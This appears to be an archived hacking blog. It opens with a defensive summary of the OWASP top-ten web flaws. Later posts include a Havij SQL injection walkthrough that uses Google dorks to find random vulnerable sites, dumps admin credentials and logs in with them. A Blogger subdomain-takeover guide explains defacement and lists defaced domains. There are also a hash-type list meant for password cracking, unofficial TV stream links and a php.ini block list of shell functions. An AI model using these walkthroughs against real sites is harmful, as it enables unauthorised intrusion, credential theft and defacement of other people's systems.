Real-world example: PayPal was targeted last year when attackers redirected PayPal visitors to a page warning users their accounts had been compromised. Victims were redirected to a phishing site and prompted to enter PayPal login information, Social Security numbers and credit card details. PayPal said it closed the vulnerability in June 2006.

How to protect users: Use a whitelist to validate all incoming data, which rejects any data that’s not specified on the whitelist as being good. This approach is the opposite of blacklisting, which rejects only inputs known to be bad. Additionally, use appropriate encoding of all output data. “Validation allows the detection of attacks, and encoding prevents any successful script injection from running in the browser,” OWASP says.

2. Injection flaws

The problem: When user-supplied data is sent to interpreters as part of a command or query, hackers trick the interpreter — which interprets text-based commands — into executing unintended commands. “Injection flaws allow attackers to create, read, update, or delete any arbitrary data available to the application,” OWASP writes. “In the worst-case scenario, these flaws allow an attacker to completely compromise the application and the underlying systems, even bypassing deeply nested firewalled environments.”

Real-world example: Russian hackers broke into a Rhode Island government Web site to steal credit card data in January 2006. Hackers claimed theSQL injection attack stole 53,000 credit card numbers, while the hosting service provider claims it was only 4,113.

How to protect users: Avoid using interpreters if possible. “If you must invoke an interpreter, the key method to avoid injections is the use of safe APIs, such as strongly typed parameterized queries and object relational mapping libraries,” OWASP writes.

3. Malicious file execution

The problem: Hackers can perform remote code execution, remote installation of rootkits, or completely compromise a system. Any type of Web application is vulnerable if it accepts filenames or files from users. The vulnerability may be most common with PHP, a widely used scripting language for Web development.

Real-world example: A teenage programmer discovered in 2002 that Guess.com was vulnerable to attacks that could steal more than 200,000 customer records from the Guess database, including names, credit card numbers and expiration dates. Guess agreed to upgrade its information security the next year after being investigated by the Federal Trade Commission.

How to protect users: Don’t use input supplied by users in any filename for server-based resources, such as images and script inclusions. Set firewall rules to prevent new connections to external Web sites and internal systems.

4. Insecure direct object reference

The problem: Attackers manipulate direct object references to gain unauthorized access to other objects. It happens when URLs or form parameters contain references to objects such as files, directories, database records or keys.

Banking Web sites commonly use a customer account number as the primary key, and may expose account numbers in the Web interface.

“References to database keys are frequently exposed,” OWASP writes. “An attacker can attack these parameters simply by guessing or searching for another valid key. Often, these are sequential in nature.”

Real-world example: An Australian Taxation Office site was hacked in 2000 by a user who changed a tax ID present in a URL to access details on 17,000companies. The hacker e-mailed the 17,000 businesses to notify them of the security breach.

How to protect users: Use an index, indirect reference map or another indirect method to avoid exposure of direct object references. If you can’t avoid direct references, authorize Web site visitors before using them

5. Cross site request forgery

The problem: “Simple and devastating,” this attack takes control of victim’s browser when it is logged onto a Web site, and sends malicious requests to the Web application. Web sites are extremely vulnerable, partly because they tend to authorize requests based on session cookies or “remember me” functionality. Banks are potential targets.

“Ninety-nine percent of the applications on the Internet are susceptible to cross site request forgery,” Williams says. “Has there been an actual exploit where someone’s lost money? Probably the banks don’t even know. To the bank, all it looks like is a legitimate transaction from a logged-in user.”

Real-world example: A hacker known as Samy gained more than a million “friends” on MySpace.com with a worm in late 2005, automatically including the message “Samy is my hero” in thousands of MySpace pages. The attack itself may not have been that harmful, but it was said to demonstrate the power of combining cross site scripting with cross site request forgery. Another example that came to light one year ago exposed a Google vulnerability allowing outside sites to change a Google user’s language preferences.

How to protect users: Don’t rely on credentials or tokens automatically submitted by browsers. “The only solution is to use a custom token that the browser will not ‘remember,’” OWASP writes.

6. Information leakage and improper error handling

The problem: Error messages that applications generate and display to users are useful to hackers when they violate privacy or unintentionally leak information about the program’s configuration and internal workings.

“Web applications will often leak information about their internal state through detailed or debug error messages. Often, this information can be leveraged to launch or even automate more powerful attacks,” OWASP says.

Real-world example: Information leakage goes well beyond error handling, applying also to breaches occurring when confidential data is left in plain sight. The ChoicePoint debacle in early 2005 thus falls somewhere in this category. The records of 163,000 consumers were compromised after criminals pretending to be legitimate ChoicePoint customers sought details about individuals listed in the company’s database of personal information. ChoicePoint subsequently limited its sales of information products containing sensitive data.

How to protect users: Use a testing tool such as OWASP’S WebScarab Project to see what errors your application generates. “Applications that have not been tested in this way will almost certainly generate unexpected error output,” OWASP writes.

7. Broken authentication and session management

The problem: User and administrative accounts can be hijacked when applications fail to protect credentials and session tokens from beginning to end. Watch out for privacy violations and the undermining of authorization and accountability controls.

“Flaws in the main authentication mechanism are not uncommon, but weaknesses are more often introduced through ancillary authentication functions such as logout, password management, timeout, remember me, secret question and account update,” OWASP writes.

Real-world example: Microsoft had to eliminate a vulnerability in Hotmail that could have let malicious JavaScript programmers steal user passwords in2002. Revealed by a networking products reseller, the flaw was vulnerable to e-mails containing Trojans that altered the Hotmail user interface, forcing users to repeatedly reenter their passwords and unwittingly send them to hackers.

How to protect users: Communication and credential storage has to be secure. The SSL protocol for transmitting private documents should be the only option for authenticated parts of the application, and credentials should be stored in hashed or encrypted form.

Another tip: get rid of custom cookies used for authentication or session management.

8. Insecure cryptographic storage

The problem: Many Web developers fail to encrypt sensitive data in storage, even though cryptography is a key part of most Web applications. Even when encryption is present, it’s often poorly designed, using inappropriate ciphers.

“These flaws can lead to disclosure of sensitive data and compliance violations,” OWASP writes.

Real-world example: The TJX data breach that exposed 45.7 million credit and debit card numbers. A Canadian government investigation faulted TJX for failing to upgrade its data encryption system before it was targeted by electronic eavesdropping starting in July 2005.
How to protect users: Don’t invent your own cryptographic algorithms. “Only use approved public algorithms such as AES, RSA public key cryptography, and SHA-256 or better for hashing,” OWASP advises.

Furthermore, generate keys offline, and never transmit private keys over insecure channels.

9. Insecure communications

The problem: Similar to No. 8, this is a failure to encrypt network traffic when it’s necessary to protect sensitive communications. Attackers can access unprotected conversations, including transmissions of credentials and sensitive information. For this reason, PCI standards require encryption of credit card information transmitted over the Internet.

Real-world example: TJX again. Investigators believe hackers used a telescope-shaped antenna and laptop computer to steal data exchanged wirelessly between portable price-checking devices, cash registers and store computers, the Wall Street Journal reported.

“The $17.4-billion retailer’s wireless network had less security than many people have on their home networks,” the Journal wrote. TJX was using the WEPencoding system, rather than the more robust WPA.

How to protect users: Use SSL on any authenticated connection or during the transmission of sensitive data, such as user credentials, credit card details, health records and other private information. SSL or a similar encryption protocol should also be applied to client, partner, staff and administrative access to online systems. Use transport layer security or protocol level encryption to protect communications between parts of your infrastructure, such as Web servers and database systems.

10. Failure to restrict URL access

The problem: Some Web pages are supposed to be restricted to a small subset of privileged users, such as administrators. Yet often there’s no real protection of these pages, and hackers can find the URLs by making educated guesses. Say a URL refers to an ID number such as “123456.” A hacker might say ‘I wonder what’s in 123457?’ Williams says.

The attacks targeting this vulnerability are called forced browsing, “which encompasses guessing links and brute force techniques to find unprotected pages,” OWASP says.

Real-world example: A hole on the Macworld Conference & Expo Web site this year let users get “Platinum” passes worth nearly $1,700 and special access to a Steve Jobs keynote speech, all for free. The flaw was code that evaluated privileges on the client but not on the server, letting people grab free passes via JavaScript on the browser, rather than the server.

How to protect users: Don’t assume users will be unaware of hidden URLs. All URLs and business functions should be protected by an effective access control mechanism that verifies the user’s role and privileges. “Make sure this is done … every step of the way, not just once towards the beginning of any multi-step process,’ OWASP advises.

Written by Jakub Maslowski Hope you enjoyed this :)

Watch Live TV on your pc for FREE !!!

2012-12-26T22:01:00.000+05:30

Ya it's totally true. The only exception is that you should have Internet ;)

This links might not work now

So lets start.
1)First of all you should have vlc media player if you don't have just download it from here.

2)Install it (that's not the big deal). Open it you will see this.

3) Now click on "Media". And choose "Stream" option or simply press "Ctrl + S". You will see this.

4) Switch to "Network" tab. You will see this.

5) Now enter any of the address of your favourite TV channel given below :

Music Channels:
9x Jhakass (low quality) : rtsp://cdn.m.yuppcdn.net/liveorigin/etvuk3
9x Jhakass (high quality) : rtsp://cdn.m.yuppcdn.net/liveorigin/etvuk1
9x Jalwa : rtsp://cdn.m.yuppcdn.net/liveorigin/9xjalwa3
Sony Mix : rtsp://2glive.nexg.tv:554/nexgwap/sonymix_2G.sdp?o=OAIRT&m=9952922049&u=motv.nexg.tv&src=WAP&p=NA&streamID=135677
MTV (low quality) : rtsp://79.125.95.101/rtpencoder/zenga007.sdp
MTV (high quality) : rtsp://79.125.95.101/broadcast/zenga007.rm
Channel V (low quality) : rtsp://59.162.166.216:554/CHANNELV_QVGA.sdp
Channel V (high quality) : rtsp://79.125.95.101/broadcast/zenga007.rm
B4U Music : rtsp://217.146.95.166:554/live/ch12zqcif.3gp
Zoom : rtsp://46.137.251.30/mtv50.sdp
Zing TV : rtsp://217.146.95.166/live/ch28zqcif.3gp
Music Box : rtsp://stream.the.sk/live/musicbox/musicbox-3m.3gp
Zoo Music : rtsp://217.146.95.166:554/playlist/ch12zqcif.3gp
iMusic : rtsp://217.146.95.166:554/playlist/ch26yqcif.3gp

Marathi Channels:
Star Majha : rtsp://2glive.nexg.tv:554/nexgwap/starmajha_2G.sdp?o=OAIRT&m=9952922049&u=motv.nexg.tv&src=WAP&p=NA&streamID=135677
IBM Lokmath (high quality) : rtsp://2glive.nexg.tv:554/nexgwap/ibnlokmat_2G.sdp?o=OAIRT&m=9952922049&u=motv.nexg.tv&src=WAP&p=NA&streamID=135677
IBM Lokmath (low quality) : rtsp://79.125.95.101/rtpencoder/lokmat.sdp
Star Pravah (high quality) : rtsp://2glive.nexg.tv:554/nexgwap/starpravah_2G.sdp?o=OAIRT&m=9952922049&u=motv.nexg.tv&src=WAP&p=NA&streamID=135677
Star Pravah (low quality) :rtsp://121.241.249.130:554/2G/LIVE/starpravah2gqcif.sdp
ETV Marathi : rtsp://2glive.nexg.tv:554/nexgwap/etvmarathi_2G.sdp?o=OAIRT&m=9952922049&u=motv.nexg.tv&src=WAP&p=NA&streamID=135677
Saam Marathi : rtsp://2glive.nexg.tv:554/nexgwap/saam_2G.sdp?o=OAIRT&m=9952922049&u=motv.nexg.tv&src=WAP&p=NA&streamID=135677

Hindi Channels:
Star One : rtsp://121.241.249.130:554/2G/LIVE/starone2gqcif.sdp
Star Plus (high quality) : rtsp://59.162.166.216:554/STARPLUS_QVGA.sdp
Sony : rtsp://59.162.166.216:554/SONYTV_QVGA.sdp

Education:
Topper TV (high quality) : rtsp://cdn.m.yuppcdn.net/liveorigin/channel19001
Topper TV (low quality) : rtsp://cdn.m.yuppcdn.net/liveorigin/channel19003
Discovery Channel (high quality) : rtsp://59.162.166.216:554/DISCOVERYCHANNEL_QVGA.sdp
Discovery Channel (low quality) : rtsp://59.162.166.216:554/DISCOVERYCHANNEL_LOW.sdp
Animal Planet : rtsp://115.248.246.156:554/ANIMALPLANET_QVGA.sdp

News:
Aaj Tak : rtsp://ss1c6.idc.mundu.tv:554/prf0/cid_4.sdp
CNBC Aawaz : rtsp://ss1c6.idc.mundu.tv:554/prf1/cid_34.sdp
CNBC TV 18 : rtsp://ss1c6.idc.mundu.tv:554/prf0/cid_35.sdp
Headlines Today : rtsp://ss1c6.idc.mundu.tv:554/prf0/cid_7.sdp
NDTV 24×7 : rtsp://ss1c6.idc.mundu.tv:554/prf0/cid_29.sdp
NDTV : rtsp://ss1c6.idc.mundu.tv:554/prf0/cid_33.sdp
NDTV Profit : rtsp://ss1c6.idc.mundu.tv:554/prf0/cid_31.sdp
Times Now : rtsp://ss1c6.idc.mundu.tv:554/prf0/cid_2.sdp
NK News : rtsp://94.75.250.53:554/rtplive/rknews.sdp
RAJ News : rtsp://94.75.250.220:1935/live/rajnews2.sdp
ETV : rtsp://94.75.250.53/rtplive/etv2low.sdp
Studio N rtsp://94.75.250.220:1935/live/studion2

Other:
Horror : rtsp://video2.multicasttech.com/AFTVHorror3GPP296.sdp
Comedy : rtsp://video3.multicasttech.com/AFTVComedy3GPP96.sdp
Classic : rtsp://video3.multicasttech.com/AFTVClassics3GPP296.sdp
Crime : rtsp://video2.multicasttech.com/AFTVCrime3GPP296.sdp
Mystery : rtsp://video2.multicasttech.com/AFTVMystery3GPP296.sdp
Clubbing Tv : rtsp://217.146.95.166:554/playlist/ch21yqcif.3gp
Bella Tv : rtsp://217.146.95.166:554/playlist/ch29yqcif.3gp
Fashion Tv : rtsp://217.146.95.166:554/playlist/ch27yqcif.3g

6) And just click on play as given below.

Enjoy :D

Website Hacking Using Havij 1.16

2012-12-25T14:24:00.001+05:30

The technique we are going to use sql injection. For more information about the topic can be found here. I will be soon posting tutorial about manual sql injection.

Google Dorks: Google dorks are specifically query's that can reveal all the information about the specific website. I am giving you some Google dorks which you can use for finding the website vulnerable to sql injection.

    inurl:index.php?id=
    inurl:index.php?cat=
    inurl:index.php?x=
    inurl:index.php?page=
    inurl:index.php?module=
    inurl:index.php?p=
    inurl:index.php?action=
    inurl:index.php?content=

Finding target:
1) Now just paste any one of the query in Google search box you will get a lot of websites.

2) Now open any of the website so you will get the link like this.
www.somesite.com/index.php?id=12 or any number

3) We have to just add a single quote (') at the end of link so it will become some thing like this.
www.somesite.com/index.php?id=12'

4) Look closely at the page before adding single quote (') and after adding single quote (') . If the some element of the page is missing then Bingo!!! you have found a vulnerable website. Now we can start our sql injection. And if the page remains the same or show's error like page not found then it is not vulnerable and you should move to another website.

Now we have our target ready so what are you waiting for just attack.

1) First of all download Havij 1.16 from my friends blog or from here.

2) Now extract it and run it. It will look some thing like this.

3) Now paste your target in the highlighted box. And click analyze.

4) Let it analyze your target for about 5-10 minute's. and then you will see something like this.

5) Now click on "Tables" tab. You will see something like this.

6) Now click on "Get DBs" ( Make sure you have tick-marked on the first option, let it be anything ). Now wait for about a minute you will some thing like this.

7) Now tick-mark both the option's. And click on "Get Tables". And wait for some 2-3 minutes. You will get a lot of information from this. It'll look something like this.

8) Now search something sensitive like admin, users, login, passwords, and many more. Tick-mark them and click on "Get Columns". You will see something like this.

9) Now there you have user_id, password, user_name. Now tick-mark them and select "Get Data". You will see something like this.

10) Now find admin panel. And login using the user_id and password found.

Any problem ask in comments. Enjoy and Merry Christmas to all my readers. :D

Watch "Star Wars" in command prompt

2012-12-21T19:54:00.000+05:30

For this you need to have your telnet active. For Windows XP by default it is active but for Windows 7 I will tell you how to do it.

1) Click on Start. And open "Control Panel".
2) Now open "Programs".

3) Now open "Turn Windows features on or off".

4) Now see to that you have checked "Telnet Client".

OK now all is set lets start the main stuff.

1) Now click on "Start". And open "Run".

2) Now type there "cmd" (without quotes). And click on "OK"

3) Now "Command Prompt" will start up. Now type there "telenet" (without quotes).

4) Now type there "o" (without quotes).

5) Now type there "towel.blinkenlights.nl" (without quotes). And now just wait and watch the movie.

6) Now enjoy the movie :D .

Thanks to The Hacking Saga.

Joomla Folder Scanner

2012-12-19T19:39:00.004+05:30

While surfing on net I just found this great scanner scripted in python. About 1.5 to 2 million sites use Joomla ! Worlds many popular websites including eBay, McDonalds, Pizza Hut (As shown on Joomla )and many more.

So lets talk about the scanner. This scanner is scripted in Python by Arthur Garica. This scanner detects components, modules, languages, templates and plugins (based on a list), in both, the public and the admin paths of the website. Only Joomla based :D

Lets take a look at the database of this scanner :
Components: 410 entries
Languages: 75 entries
Modules: 955 entries
Plugins: 78 entries
Templates: 254 entries

Usage is very easy just write the name of host. And select what you want to scan for.
Download it from the given link !!!

Download

How to secure your server from PHP Shells

2012-12-18T21:48:00.002+05:30

Websites security risk goes high when some has a shell on your site so just paste this code in your php.ini.
It will protect your server from execution of Shells likec99 or b374k.

1:  disable_functions = php_uname, getmyuid, getmypid, passthru, leak, listen, diskfreespace, tmpfile, link, ignore_user_abord, shell_exec, dl, set_time_limit, exec, system, highlight_file, source, show_source, fpaththru, virtual, posix_ctermid, posix_getcwd, posix_getegid, posix_geteuid, posix_getgid, posix_getgrgid, posix_getgrnam, posix_getgroups, posix_getlogin, posix_getpgid, posix_getpgrp, posix_getpid, posix, _getppid, posix_getpwnam, posix_getpwuid, posix_getrlimit, posix_getsid, posix_getuid, posix_isatty, posix_kill, posix_mkfifo, posix_setegid, posix_seteuid, posix_setgid, posix_setpgid, posix_setsid, posix_setuid, posix_times, posix_ttyname, posix_uname, proc_open, proc_close, proc_get_status, proc_nice, proc_terminate, phpinfo,system,passthru,shell_exec,escapeshellarg,escapeshellcmd,proc_close,proc_open,ini_alter,dl,popen,popen,pcntl_exec,socket_accept,socket_bind,socket_clear_error,socket_close,socket_connect  
2:  safe_mode = On  
3:  register_globals = Off  
4:  display_errors = Off  
5:  allow_url_fopen = Off  
6:  allow_url_include = Off  
7:  enable open_basedir(set it to webroot path)

Hash Types

2012-09-22T20:07:00.001+05:30

While surfing on Internet I found these collection of Hash Types you will need it in future for cracking passwords.

DES(Unix)
Example: IvS7aeT4NzQPM
Used in Linux and other similar OS.
Length: 13 characters.
Description: The first two characters are the salt (random characters; in our example the salt is the string "Iv"), then there follows the actual hash.
Notes: [1] [2]

Domain Cached Credentials
Example: Admin:b474d48cdfc4974d86ef4d24904cdd91
Used for caching passwords of Windows domain.
Length: 16 bytes.
Algorithm: MD4(MD4(Unicode($pass)).Unicode(strtolower($username)))
Note: [1]

MD5(Unix)
Example: $1$12345678$XM4P3PrKBgKNnTaqG9P0T/
Used in Linux and other similar OS.
Length: 34 characters.
Description: The hash begins with the $1$ signature, then there goes the salt (up to 8 random characters; in our example the salt is the string "12345678"), then there goes one more $ character, followed by the actual hash.
Algorithm: Actually that is a loop calling the MD5 algorithm 2000 times.
Notes: [1] [2]

MD5(APR)
Example: $apr1$12345678$auQSX8Mvzt.tdBi4y6Xgj.
Used in Linux and other similar OS.
Length: 37 characters.
Description: The hash begins with the $apr1$ signature, then there goes the salt (up to 8 random characters; in our example the salt is the string "12345678"), then there goes one more $ character, followed by the actual hash.
Algorithm: Actually that is a loop calling the MD5 algorithm 2000 times.
Notes: [1] [2]

MD5(phpBB3)
Example: $H$9123456785DAERgALpsri.D9z3ht120
Used in phpBB 3.x.x.
Length: 34 characters.
Description: The hash begins with the $H$ signature, then there goes one character (most often the number '9'), then there goes the salt (8 random characters; in our example the salt is the string "12345678"), followed by the actual hash.
Algorithm: Actually that is a loop calling the MD5 algorithm 2048 times.
Notes: [1] [2]

MD5(Wordpress)
Example: $P$B123456780BhGFYSlUqGyE6ErKErL01
Used in Wordpress.
Length: 34 characters.
Description: The hash begins with the $P$ signature, then there goes one character (most often the number 'B'), then there goes the salt (8 random characters; in our example the salt is the string "12345678"), followed by the actual hash.
Algorithm: Actually that is a loop calling the MD5 algorithm 8192 times.
Notes: [1] [2]

MySQL
Example: 606717496665bcba
Used in the old versions of MySQL.
Length: 8 bytes.
Description: The hash consists of two DWORDs, each not exceeding the value of 0x7fffffff.

MySQL5
Example: *E6CC90B878B948C35E92B003C792C46C58C4AF40
Used in the new versions of MySQL.
Length: 20 bytes.
Algorithm: SHA-1(SHA-1($pass))
Note: The hashes are to be loaded to the program without the asterisk that stands in the beginning of each hash.

RAdmin v2.x
Example: 5e32cceaafed5cc80866737dfb212d7f
Used in the application Remote Administrator v2.x.
Length: 16 bytes.
Algorithm: The password is padded with zeros to the length of 100 bytes, then that entire string is hashed with the MD5 algorithm.

MD5
Example: c4ca4238a0b923820dcc509a6f75849b
Used in phpBB v2.x, Joomla version below 1.0.13 and many other forums and CMS.
Length: 16 bytes.
Algorithm: Same as the md5() function in PHP.

md5($pass.$salt)
Example: 6f04f0d75f6870858bae14ac0b6d9f73:1234
Used in WB News, Joomla version 1.0.13 and higher.
Length: 16 bytes.
Note: [1]

md5($salt.$pass)
Example: f190ce9ac8445d249747cab7be43f7d5:12
Used in osCommerce, AEF, Gallery and other CMS.
Length: 16 bytes.
Note: [1]

md5(md5($pass))
Example: 28c8edde3d61a0411511d3b1866f0636
Used in e107, DLE, AVE, Diferior, Koobi and other CMS.
Length: 16 bytes.

md5(md5($pass).$salt)
Example: 6011527690eddca23580955c216b1fd2:wQ6
Used in vBulletin, IceBB.
Length: 16 bytes.
Notes: [1] [3] [4]

md5(md5($salt).md5($pass))
Example: 81f87275dd805aa018df8befe09fe9f8:wH6_S
Used in IPB.
Length: 16 bytes.
Notes: [1] [3]

md5(md5($salt).$pass)
Example: 816a14db44578f516cbaef25bd8d8296:1234
Used in MyBB.
Length: 16 bytes.
Note: [1]

md5($salt.$pass.$salt)
Example: a3bc9e11fddf4fef4deea11e33668eab:1234
Used in TBDev.
Length: 16 bytes.
Note: [1]

md5($salt.md5($salt.$pass))
Example: 1d715e52285e5a6b546e442792652c8a:1234
Used in DLP.
Length: 16 bytes.
Note: [1]

SHA-1
Example: 356a192b7913b04c54574d18c28d46e6395428ab
Used in many forums and CMS.
Length: 20 bytes.
Algorithm: Same as the sha1() function in PHP.

sha1(strtolower($username).$pass)
Example: Admin:6c7ca345f63f835cb353ff15bd6c5e052ec08e7a
Used in SMF.
Length: 20 bytes.
Note: [1]

sha1($salt.sha1($salt.sha1($pass)))
Example: cd37bfbf68d198d11d39a67158c0c9cddf34573b:1234
Used in Woltlab BB.
Length: 20 bytes.
Note: [1]

SHA-256(Unix)
Example: $5$12345678$jBWLgeYZbSvREnuBr5s3gp13vqi
Used in Linux and other similar OS.
Length: 55 characters.
Description: The hash begins with the $5$ signature, then there goes the salt (up to 8 random characters; in our example the salt is the string "12345678"), then there goes one more $ character, followed by the actual hash.
Algorithm: Actually that is a loop calling the SHA-256 algorithm 5000 times.
Notes: [1] [2]

SHA-512(Unix)
Example: $6$12345678$U6Yv5E1lWn6mEESzKen42o6rbEm
Used in Linux and other similar OS.
Length: 98 characters.
Description: The hash begins with the $6$ signature, then there goes the salt (up to 8 random characters; in our example the salt is the string "12345678"), then there goes one more $ character, followed by the actual hash.
Algorithm: Actually that is a loop calling the SHA-512 algorithm 5000 times.
Notes: [1] [2]

-------------------------------------------------
Notes:

[1] Since the hashing requires not only a password but also a salt (or a user name), which is unique for each user, the attack speed for such hashes will decline proportionally to their count (for example, attacking 100 hashes will go 100 times slower than attacking one hash).

[2] The hash is to be loaded to the program in full, to the "Hash" column - the program will automatically extract the salt and other required data from it.

[3] The ':' character can be used as salt; however, since it is used by default for separating hash and salt in PasswordsPro, it is recommended that you use a different character for separating fields; e.g., space.

[4] Salt can contain special characters - single or double quotes, as well as backslash, which are preceded (after obtaining dumps from MySQL databases) by an additional backslash, which is to be removed manually. For example, the salt to be loaded to the program would be a'4 instead of a\'4, as well as the salts a"4 instead of a\"4 and a\4 instead of a\\4.

Source link: http://forum.insidepro.com/viewtopic.php?t=8225
Credits to: "Admin"

Blogger DNS 0day Vulnerability [Patched]

2012-09-08T01:10:00.002+05:30

New BlogDNS 0day

Lets just say, any site pointing to Google server can Be Hacked and Defaced

1st) Find a target where as its subdomain or its main domain is pointing to google or blogger server I.P
2nd) If it is pointing to Google Server I.P, You will see a page 100% like this >> http://ghs.google.com/
404. That’s an error.

The requested URL / was not found on this server. That’s all we know.

If that shows, That means its vul to BlogDNS 0day

3rd) Go to http://www.blogger.com/ and Login / Create an account
4th) Create a Blog
5th) Name it anything you want as a subdomain for blogger.
6th) Once blog is created, Go to Settings > Publishing > Switch To Advanced Mod and add that site URL domain. (example:direct.madleets.com) Please note that it MUST be pointing to google or blogger server I.P.
and Save it.

Clear You cache and go to that sites subdomain which you added. You will see its in your control .
Now go to Design > Edit HTML > Revert to Classic Template > Add Deface Code There (Switch of Navbar to OFF) and Hit Save, Clear Cache and check site will be defaced .

Note: I have used Old Blogger Interface, I don't use the New Blogger Interface as I find the old one more easy

I hope it was clear and understood
Have fun and don't share

Special Thanks To Minhal for all this

Sites which are hacked using this method:
http://direct.thehackernews.com/Mirror: http://zone-h.org/mirror/id/18307796
http://direct.pkhackerz.com/Mirror: http://zone-h.org/mirror/id/18307953
http://mail.dl4hacks.net/Mirror: http://zone-hc.com/archive/mirror/8d752fd_mail.dl4hacks.net_mirror_.html
by - H4x4rwOw - :)

Abhijeet Hacking Articles

Bulk Shellcode Generator

Requirements :

Installation :

Note :

Simple Windows host file modifier script

Installing a dedicated firewall(pfSense)

Sample architecture of our networks :

Setting up Dendroid (Android RAT)

Requirements :

Procedure :

Simple \n remover

Binary Heap in Java

Binary Tree in Java

How to repair LINUX Grub after installing Windows 7

Which Linux distribution to choose ?

What is Linux Distribution ?

On what things does the Distribution depends ?

Ok give me some examples :

What is Linux ?

Linux History :

How much Linux :

Why Linux ? :

Ok where do I start ? :

Finding the PID of the any process

Basic Linux Security Part 2

Basic Linux Security Part 1

The most basic rules :

Linux Vulnerabilities:

SQL injection Basics

Whatweb tool on Backtrack 5R3

(Video Tut) Hacking Windows XP Password

Hack Facebook Account using PHISHING

Top 10 reasons "Why websites get HACKED ?"

Watch Live TV on your pc for FREE !!!

***This links might not work now***

Website Hacking Using Havij 1.16

Watch "Star Wars" in command prompt

Joomla Folder Scanner

How to secure your server from PHP Shells

Hash Types

Blogger DNS 0day Vulnerability [Patched]

This links might not work now